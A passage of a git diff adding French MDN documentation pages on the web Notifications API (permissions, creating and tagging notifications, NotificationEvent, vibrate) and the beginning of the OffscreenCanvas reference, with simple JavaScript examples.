+<p><strong>Note:</strong> <span id="result_box" lang="fr"><span class="hps">Safari et Chrome</span> antérieurs à <span class="hps">v32</span> <span class="hps">n'</span><span class="hps">appliquent pas</span> <span class="hps">encore</span> <span class="hps">la propriété</span> </span><span style="line-height: 1.5;"> </span><code style="font-style: italic; line-height: 1.5;">permission</code><span style="line-height: 1.5;"> </span><span lang="fr"><span>.</span></span></p>
+</div>
+
+<h3 id="Recevoir_la_permission">Recevoir la permission</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps">Si l'autorisation</span> <span class="hps">n'est pas accordée</span><span>,</span> <span class="hps">l'application doit</span> <span class="hps">utiliser la méthode</span> </span> {{domxref("Notification.requestPermission()")}} <span lang="fr"><span class="hps"> pour</span> <span class="hps">permettre à l'utilisateur</span> <span class="hps">de faire un choix</span><span>.</span> <span class="hps">Cette méthode accepte</span> <span class="hps">une fonction de rappel</span> <span class="hps">qui reçoit</span> <span class="hps">la permission</span> <span class="hps">choisie par l'utilisateur</span> <span class="hps">pour</span> <span class="hps">réagir.</span></span></p>
+
+<p>C'est une pratique usuelle de demander l'autorisation à l'initialisation de l'application:</p>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  Notification.requestPermission(function (status) {
+    // Cela permet d'utiliser Notification.permission avec Chrome/Safari
+    if (Notification.permission !== status) {
+      Notification.permission = status;
+    }
+  });
+});</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Chrome ne permettait pas l'appel à {{domxref("Notification.requestPermission()")}} dans l'event load jusqu'à sa version 37 (voir <a href="https://code.google.com/p/chromium/issues/detail?id=274284" title="https://code.google.com/p/chromium/issues/detail?id=274284">issue 274284</a>).</p>
+</div>
+
+<h3 id="Manifeste_des_permissions_pour_l'API_de_Notification">Manifeste des permissions pour l'API de Notification</h3>
+
+<p>Notez que tant que que l'API de Notification API n'est pas <em>privileged</em> ou <em>certifiée</em>, il vous faudra toujours ajouter une entrée dans votre ficher <code>manifest.webapp</code> pour l'inclure dans une application web ouverte:</p>
+
+<pre>"permissions": {
+  "desktop-notification": {
+    "description": "Needed for creating system notifications."
+  }
+}</pre>
+
+<div class="note">
+<p>Remarque : quand une application est installée, vous ne devriez pas avoir besoin de demander la permission explicitement par le code ci-dessus, mais vous aurez toujours besoin de l'entrée des autorisations ci-dessus pour que les notifications soient lancées.</p>
+</div>
+
+<h2 id="Créer_une_notification">Créer une notification</h2>
+
+<p>Créer une notification peut être simplement réalisé en utilisant le constructeur {{domxref("Notification")}}. Ce constructeur s'attend à recevoir un titre à afficher dans la notification et quelques options pour la personnaliser telles qu'une icône {{domxref("Notification.icon","icon")}} ou un texte {{domxref("Notification.body","body")}}.</p>
+
+<p>Une notification sera affichée dès que possible. Pour connaître son statut d'affichage, quatre événements peuvent être déclenchés au niveau de {{domxref("Notification")}} :</p>
+
+<ul>
+ <li>{{event("show")}}: déclenché quand la notification est affichée à l'utilisateur.</li>
+ <li>{{event("click")}}: déclenché quand l'utilisateur clique sur la notification.</li>
+ <li>{{event("close")}}: déclenché quand la notification est fermée.</li>
+ <li>{{event("error")}}: déclenché quand quelque chose n'a pas fonctionné avec cette notification (surtout quand quelque chose empêche la notification d'être affichée)</li>
+</ul>
+
+<p>Ces événements peuvent être suivis en utilisant les gestionnaires d'événements {{domxref("Notification.onshow","onshow")}}, {{domxref("Notification.onclick","onclick")}}, {{domxref("Notification.onclose","onclose")}}, ou {{domxref("Notification.onerror","onerror")}}. Car {{domxref("Notification")}} hérite également de {{domxref("EventTarget")}}, Il est possible d'utiliser cette {{domxref("EventTarget.addEventListener","addEventListener()")}} méthode..</p>
+
+<div class="note">
+<p><strong>Note:</strong> Firefox et Safari ferment automatiquement les notifications après un certain temps, de l'ordre de 4 secondes.</p>
+
+<p>Cela peut aussi être fait au niveau de l'application web en utilisant la méthode {{domxref("Notification.close()")}},  comme par exemple dans le code suivant:</p>
+
+<pre class="brush: js">var n = new Notification("Salut!");
+n.onshow = function () {
+  setTimeout(n.close.bind(n), 5000);
+}
+</pre>
+
+<p>Quand vous recevez un événement "close", il n'y a aucune garantie que l'utilisateur ait lui-même fermé la notification. C'est en accord avec la spécification, qui dit : "When a notification is closed, either by the underlying notifications platform or by the user, the close steps for it must be run." soit "Quand une notification est fermée, que ce soit par la plateforme ou par l'utilisateur, on procède à l'étape de clôture."</p>
+</div>
+
+<h3 id="Un_petit_exemple">Un petit exemple</h3>
+
+<p>En considérant ce petit bout de HTML assez simple :</p>
+
+<pre class="brush: html">&lt;button&gt;Notifiez moi!&lt;/button&gt;</pre>
+
+<p>Il est possible de gérer les notifications de cette façon :</p>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  // Premièrement, vérifions que nous avons la permission de publier des notifications. Si ce n'est pas le cas, demandons la
+  if (window.Notification &amp;&amp; Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // Si l'utilisateur accepte d'être notifié
+    if (window.Notification &amp;&amp; Notification.permission === "granted") {
+      var n = new Notification("Coucou !");
+    }
+
+    // Si l'utilisateur n'a pas choisi s'il accepte d'être notifié
+    // Note: à cause de Chrome, nous ne sommes pas certains que la propriété permission soit définie, par conséquent il n'est pas sûr de vérifier la valeur par défaut.
+    else if (window.Notification &amp;&amp; Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // Si l'utilisateur est OK
+        if (status === "granted") {
+          var n = new Notification("Coucou !");
+        }
+
+        // Sinon, revenons en à un mode d'alerte classique
+        else {
+          alert("Coucou !");
+        }
+      });
+    }
+
+    // Si l'utilisateur refuse d'être notifié
+    else {
+      // We can fallback to a regular modal alert
+      alert("Coucou !");
+    }
+  });
+});</pre>
+
+<p>Et voici le résultat:</p>
+
+<p>{{ EmbedLiveSample('Simple_example', '100%', 30) }}</p>
+
+<h2 id="Gestion_des_notifications_répétitives">Gestion des notifications répétitives</h2>
+
+<p><span id="result_box" lang="fr"><span class="hps">Dans</span> <span class="hps">certains cas, il</span> <span class="alt-edited hps">peut être dérangeant</span> <span class="hps">pour l'utilisateur</span> <span class="alt-edited hps">de lui</span> <span class="hps">envoyer un</span> <span class="hps">nombre élevé de</span> <span class="hps">notifications</span> <span class="hps">-</span> <span class="hps">par exemple,</span> <span class="hps">si une application</span> <span class="hps">pour la messagerie instantanée</span> <span class="hps">peut</span> <span class="hps">notifier à un utilisateur</span> <span class="hps">pour chaque</span> <span class="hps">message entrant</span><span>.</span> </span><span lang="fr"><span class="hps">Pour éviter</span> <span class="hps">une invasion de "bulles" sur le </span><span class="hps">bureau de l'utilisateur</span> <span class="hps">avec des centaines de</span> <span class="hps">notifications inutiles</span><span>,</span> <span class="hps">il est possible de</span> <span class="hps">prendre en charge</span> <span class="hps">la file d'attente</span> <span class="hps">des notifications en attente</span><span>.</span></span></p>
+
+<p>Pour ce faire, il est possible d'ajouter un tag à toute nouvelle notification. Si une notification a déjà le même tag et n'a pas encore été affichée, la nouvelle notification va remplacer l'ancienne. Si la notification avec le même tag a déjà été affichée, l'ancienne notification est fermée et la nouvelle est affichée.</p>
+
+<h3 id="Exemple_de_Tag">Exemple de Tag</h3>
+
+<p>Considérons le code HTML suivant:</p>
+
+<pre class="brush: html">&lt;button&gt;Notifie moi!&lt;/button&gt;</pre>
+
+<p>Il est possible de gérer plusieurs notifications de cette manière:</p>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  // Premièrement, vérifions que nous avons la permission de notifier
+  // Sinon, demandons la permission
+  if (window.Notification &amp;&amp; Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // Si l'utilisateur accepte les notifications
+    // essayons d'envoyer 10 notifications
+    if (window.Notification &amp;&amp; Notification.permission === "granted") {
+      for (var i = 0; i &lt; 10; i++) {
+        // Grâce au tag, nous ne devrions voir que la notification "Hey! 9"
+        var n = new Notification("Hey! " + i, {tag: 'soManyNotification'});
+      }
+    }
+
+    // Si l'utilisateur n'a pas choisi s'il accepte d'être notifié // Note: à cause de Chrome, nous ne sommes pas certains que la
+    // propriété permission soit définie, par conséquent il n'est pas
+    // sûr de vérifier la valeur par défault.
+    else if (window.Notification &amp;&amp; Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // Si l'utilisateur a accepté les notifications
+        if (status === "granted") {
+          for (var i = 0; i &lt; 10; i++) {
+            // Grâce au tag, nous ne devrions voir que la notification "Hey! 9"
+            var n = new Notification("Hey! " + i, {tag: 'soManyNotification'});
+          }
+        }
+
+        // Sinon on bascule sur une alerte modale
+        else {
+          alert("Hey!");
+        }
+      });
+    }
+
+    // Si l'utilisateur refuse les notifications
+    else {
+      // on bascule sur une alerte modale
+      alert("Hey!");
+    }
+  });
+});</pre>
+
+<p>Et voici le résultat:</p>
+
+<p>{{ EmbedLiveSample('Tag_example', '100%', 30) }}</p>
+
+<h2 id="Recevoir_la_notification_du_clic_sur_une_notification">Recevoir la notification du clic sur une notification</h2>
+
+<p>Quand un utilisateur clique sur une notification générée par une application, il sera notifié de cet événement de deux façons, en fonction de la circonstance:</p>
+
+<ol>
+ <li>Un événement click si votre application n'a pas été fermée ou placée en arrière-plan entre le moment où vous créez la notification et celui où l'utilisateur clique dessus.</li>
+ <li>Sinon un message système</li>
+</ol>
+
+<p>Voir cet <a href="https://github.com/mozilla/buddyup/commit/829cba7afa576052cf601c3e286b8d1981f93f45#diff-3">extrait de code</a> pour un exemple d'utilisation.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_Navigateurs">Compatibilité Navigateurs</h2>
+
+<p>{{page("/fr/Web/API/Notification","Browser compatibility")}}</p>
+
+<h2 id="A_lire_aussi">A lire aussi</h2>
+
+<ul>
+ <li>{{ domxref("Notification") }}</li>
+</ul>
diff --git a/files/fr/web/api/notification/vibrate/index.html b/files/fr/web/api/notification/vibrate/index.html
new file mode 100644
index 0000000000..e4bc2a99d6
--- /dev/null
+++ b/files/fr/web/api/notification/vibrate/index.html
@@ -0,0 +1,56 @@
+---
+title: Notification.vibrate
+slug: Web/API/notification/vibrate
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - Vibration
+  - Vibreur
+  - vibrate
+translation_of: Web/API/Notification/vibrate
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>vibrate</code></strong> de l'interface {{domxref ("Notification")}} spécifie un modèle de vibration que le matériel de vibration de l'appareil doit émettre lorsque la notification se déclenche. Ceci est comme définis à l'aide de l'option <code>vibrate</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification ()")}}.</span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.vibrate
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valeur</h3>
+
+<p>Un <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/API/Vibration#Vibration_patterns">modèle de vibration</a>, tel que spécifié dans la spécification de l'{{domxref ("Vibration_API", "Api de Vibration")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-vibrate','vibrate')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.vibrate")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notificationevent/index.html b/files/fr/web/api/notificationevent/index.html
new file mode 100644
index 0000000000..12d31e9481
--- /dev/null
+++ b/files/fr/web/api/notificationevent/index.html
@@ -0,0 +1,162 @@
+---
+title: NotificationEvent
+slug: Web/API/NotificationEvent
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Reference
+  - ServiceWorker
+translation_of: Web/API/NotificationEvent
+---
+<div>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</div>
+
+<p>L'interface <strong><code>NotificationEvent</code></strong> représente un évènement de clic pour une notification et qui est dispatché vers le {{domxref("ServiceWorkerGlobalScope")}} d'un {{domxref("ServiceWorker")}}.</p>
+
+<p>Cette interface hérite de l'interface {{domxref("ExtendableEvent")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("NotificationEvent.NotificationEvent()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel objet <code>NotificationEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cet objet hérite de propriétés grâce à son ancêtre : {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("NotificationEvent.notification")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie un objet {{domxref("Notification")}} représentant la notification sur laquelle on a cliqué pour déclencher l'évènement.</dd>
+ <dt>{{domxref("NotificationEvent.action")}} {{readonlyinline}}</dt>
+ <dd>Cette propriété renvoie une chaîne de caractères identifiant le bouton de la notification sur lequel l'utilisateur a cliqué. Cette valeur sera {{jsxref("undefined")}} si l'utilisateur a cliqué autre part que sur le bouton pour la notification ou si la notification ne possède pas de bouton.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cet objet hérite de méthodes grâce à son parent </em><em>{{domxref("ExtendableEvent")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Cette méthode allonge la durée de vie de l'évènement. Elle est conçue pour être appelée dans le gestionnaire d'évènement {{event("install")}} lors de l'installation (cf. {{domxref("ServiceWorkerRegistration.installing")}}) du <em>worker</em> et dans le gestionnaire d'évènement {{event("active")}} pour le <em>worker</em> actif (cf. {{domxref("ServiceWorkerRegistration.active")}}).</p>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">self.addEventListener('notificationclick', function(event) {
+  console.log('Au clic sur la notification : ', event.notification.tag);
+  event.notification.close();
+
+  // On regarde ici si elle est déjà ouverte
+  // et si le focus est dessus
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#notificationevent','NotificationEvent')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> Cette interface est définie au sein de <a href="/fr/docs/Web/API/Notifications_API">l'API Notifications</a>, mais on y accède via {{domxref("ServiceWorkerGlobalScope")}}.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>action</code></td>
+   <td>{{CompatChrome(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42)}}</td>
+  </tr>
+  <tr>
+   <td><code>action</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les <em>service workers</em> (ainsi que l'API <a href="/fr/docs/Web/API/Push_API">Push</a>) ont été désactivés dans l'édition <a href="https://www.mozilla.org/fr/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR).</p>
diff --git a/files/fr/web/api/notifications_api/index.html b/files/fr/web/api/notifications_api/index.html
new file mode 100644
index 0000000000..b8ee7c258f
--- /dev/null
+++ b/files/fr/web/api/notifications_api/index.html
@@ -0,0 +1,93 @@
+---
+title: API de Notifications
+slug: Web/API/Notifications_API
+tags:
+  - API Notifications
+  - Notifications
+  - permission
+  - système
+translation_of: Web/API/Notifications_API
+---
+<p>{{DefaultAPISidebar("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p class="summary"><span class="seoSummary">L'API Notifications permet aux pages Web de contrôler l'affichage des notifications système de l'utilisateur final. Ceux-ci sont en dehors de la fenêtre du contexte de navigation de niveau supérieur, ils peuvent donc être affichés même lorsque l'utilisateur a changé d'onglet ou déplacé vers une autre application. L'API est conçue pour être compatible avec les systèmes de notification existants, sur différentes plates-formes.</span></p>
+
+<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2>
+
+<p>Sur les plates-formes prises en charge, l'affichage d'une notification système implique généralement deux choses. Tout d'abord, l'utilisateur doit accorder l'autorisation à l' {{glossary("Origin","origine")}} actuelle pour afficher les notifications système, ce qui est généralement effectué lorsque l'application ou le site s'initialise, à l'aide de la méthode {{domxref ("Notification.requestPermission()")}}. Cela doit être fait en réponse à un geste de l'utilisateur, tel que cliquer sur un bouton, par exemple:</p>
+
+<pre class="brush: js notranslate">btn.addEventListener('click', () =&gt; {
+  let promise = Notification.requestPermission()
+  // wait for permission
+})</pre>
+
+<div class="blockIndicator note">
+<p>Il ne s'agit pas seulement d'une bonne pratique - vous ne devriez pas envoyer de spam aux utilisateurs avec des notifications qu'ils n'acceptent pas - mais les navigateurs suivants interdiront explicitement les notifications non déclenchées en réponse à un geste de l'utilisateur. Firefox le fait déjà depuis la version 72, par exemple.</p>
+</div>
+
+<p>Cela créera une boîte de dialogue, proche de cette apparence:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/17008/Screen_Shot_2019-12-11_at_9.59.14_AM.png" style="border-style: solid; border-width: 1px; display: block; height: 183px; margin: 0px auto; width: 643px;"></p>
+
+<p>De là, l'utilisateur peut choisir d'autoriser les notifications de cette origine ou de les bloquer. Une fois le choix effectué, le paramètre persistera généralement pour la session en cours.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Depuis Firefox 44, les autorisations pour les notifications et le push ont été fusionnées. Si l'autorisation est accordée pour les notifications, le push sera également activé.</p>
+</div>
+
+<p>Ensuite, une nouvelle notification est créée à l'aide du constructeur {{domxref ("Notification.Notification", "Notification ()")}}. Auquel on doit passé un titre en argument et il peut éventuellement recevoir un objet d'options pour personnalisés la notification, telles que la direction du texte, le corps du texte, l'icône à afficher, le son de notification à lire, etc.</p>
+
+<p>En outre, la spécification de l'API Notifications spécifie un certain nombre d'ajouts à l'<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">API ServiceWorker</a>, pour permettre aux service worker de déclencher des notifications.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Pour en savoir plus sur l'utilisation des notifications dans votre propre application, lisez <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a>.</p>
+</div>
+
+<h2 id="Les_interfaces_de_Notifications">Les interfaces de Notifications</h2>
+
+<dl>
+ <dt>{{domxref("Notification")}}</dt>
+ <dd>Définit un objet <code>Notification</code>.</dd>
+</dl>
+
+<h3 id="Ajout_de_service_worker">Ajout de service worker</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
+ <dd>Inclut les méthodes {{domxref ("ServiceWorkerRegistration.showNotification()")}} et {{domxref ("ServiceWorkerRegistration.getNotifications()")}}, pour contrôler l'affichage des notifications.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
+ <dd>Inclut le gestionnaire {{domxref ("ServiceWorkerGlobalScope.onnotificationclick")}}, pour déclencher des fonctions personnalisées lorsqu'un utilisateur clique sur une notification.</dd>
+ <dt>{{domxref("NotificationEvent")}}</dt>
+ <dd>Un type spécifique d'objet événement, basé sur {{domxref ("ExtendableEvent")}}, qui représente une notification qui s'est déclenchée.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notifyaudioavailableevent/index.html b/files/fr/web/api/notifyaudioavailableevent/index.html
new file mode 100644
index 0000000000..2b388ba495
--- /dev/null
+++ b/files/fr/web/api/notifyaudioavailableevent/index.html
@@ -0,0 +1,24 @@
+---
+title: NotifyAudioAvailableEvent
+slug: Web/API/NotifyAudioAvailableEvent
+tags:
+  - API
+  - Audio
+  - Déprécié
+  - Non-standard
+  - Reference
+  - Référence(2)
+translation_of: Web/API/NotifyAudioAvailableEvent
+---
+<div>{{APIRef("Web Audio API")}}{{Non-standard_header}}{{Deprecated_header}}</div>
+
+<p><span class="seoSummary">L'interface <code><strong>NotifyAudioAvailableEvent</strong></code> non standard et obsolète définit l'événement envoyé aux éléments audio lorsque la mémoire tampon audio est pleine.</span></p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>frameBuffer</code> {{ReadOnlyInline}}</dt>
+ <dd>Un {{jsxref("Float32Array")}} contenant les données audo à virgule flottante 32 bits brutes obtenues à partir du décodage de l'audio (par exemple, les données brutes envoyées au matériel audio par rapport à l'audio codé). Les données sont une série d'échantillons audio, chaque échantillon contenant une valeur de 32 bits par canal audio. Toutes les trames audio sont normalisées pour contenir 1024 échantillons par défaut, mais peuvent avoir une longueur comprise entre 512 et 16384 échantillons si l'utilisateur a défini une longueur différente à l'aide de l'attribut <code><strong>mozFrameBufferLength</strong></code>.</dd>
+ <dt><code>time</code></dt>
+ <dd>Valeur à virgule flottante indiquant le temps en secondes auquel le premier échantillon du <code>frameBuffer</code> se produit, par rapport au début de la piste audio.</dd>
+</dl>
diff --git a/files/fr/web/api/offscreencanvas/index.html b/files/fr/web/api/offscreencanvas/index.html
new file mode 100644
index 0000000000..907cfa2f7c
--- /dev/null
+++ b/files/fr/web/api/offscreencanvas/index.html
@@ -0,0 +1,196 @@
+---
+title: OffscreenCanvas
+slug: Web/API/OffscreenCanvas
+tags:
+  - API
+  - Canevas
+  - Experimental
+  - Interface
+  - Reference
+translation_of: Web/API/OffscreenCanvas
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p>L'interface <code>OffscreenCanvas</code> fournit un canevas qui peut être restitué hors écran. Il est disponible dans les contextes à la fois window et <a href="/fr-FR/docs/Web/API/Web_Workers_API">worker</a>.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette API n'est actuellement implémentée que pour les contextes <a href="/fr-FR/docs/Web/API/WebGLRenderingContext">WebGL1</a> et<a href="/fr-FR/docs/Web/API/WebGL2RenderingContext">WebGL2</a>. Voir {{bug(801176)}} pour le support de l'<a href="/fr-FR/docs/Web/API/Canvas_API">API canvas</a> depuis les workers.</p>
+</div>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.OffscreenCanvas", "OffscreenCanvas()")}}</dt>
+ <dd>Constructeur <code>OffscreenCanvas</code>. Crée un nouvel objet <code>OffscreenCanvas</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.height")}}</dt>
+ <dd>La hauteur du canevas hors écran.</dd>
+ <dt>{{domxref("OffscreenCanvas.width")}}</dt>
+ <dd>La largeur du canevas hors écran.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.getContext()")}}</dt>
+ <dd>Retourne un contexte de rendu pour le canevas hors écran.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.toBlob()")}}</dt>
+ <dd>Crée un objet {{domxref("Blob")}} représentant l'image contenue dans le canevas.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.transferToImageBitmap()")}}</dt>
+ <dd>Crée un objet {{domxref("ImageBitmap")}} à partir de l'image la plus récemment générée du <code>OffscreenCanvas</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Affichage_synchrone_d'images_produites_par_un_OffscreenCanvas">Affichage synchrone d'images produites par un <code>OffscreenCanvas</code></h3>
+
+<p>Une façon d'utiliser l'API <code>OffscreenCanvas</code> est d'utiliser un {{domxref("RenderingContext")}} obtenu à partir d'un objet <code>OffscreenCanvas</code> pour générer de nouvelles images. Une fois qu'une nouvelle image a fini d'être générée dans ce contexte, la méthode {{domxref("OffscreenCanvas.transferToImageBitmap", "transferToImageBitmap()")}} peut être appelée pour sauvegarder l'image générée la plus récente. Cette méthode retourne un objet {{domxref("ImageBitmap")}}, qui peut être utilisé dans une grande variété d'API Web et également dans un second canevas, sans créer de copie par transfert.</p>
+
+<p>Pour afficher l'<code>ImageBitmap</code>, vous pouvez utiliser un contexte {{domxref("ImageBitmapRenderingContext")}}, qui peut être créé en appelant <code>canvas.getContext("bitmaprenderer")</code> sur un élément canevas (visible). Ce contexte fournit uniquement des fonctionnalités pour remplacer le contenu du canevas par l'<code>ImageBitmap</code> donnée. Un appel à {{domxref("ImageBitmapRenderingContext.transferImageBitmap()")}} avec l'<code>ImageBitmap</code> précédemment affichée et enregistrée à partir de OffscreenCanvas, affichera l'<code>ImageBitmap</code> sur le canevas et transférera son appartenance au canevas. Un seul <code>OffscreenCanvas</code> peut transférer des images dans un nombre arbitraire d'autres objets <code>ImageBitmapRenderingContext</code>.</p>
+
+<p>Étant donnés ces deux éléments {{HTMLElement("canvas")}} :</p>
+
+<pre class="brush: html">&lt;canvas id="une"&gt;&lt;/canvas&gt;
+&lt;canvas id="deux"&gt;&lt;/canvas&gt;</pre>
+
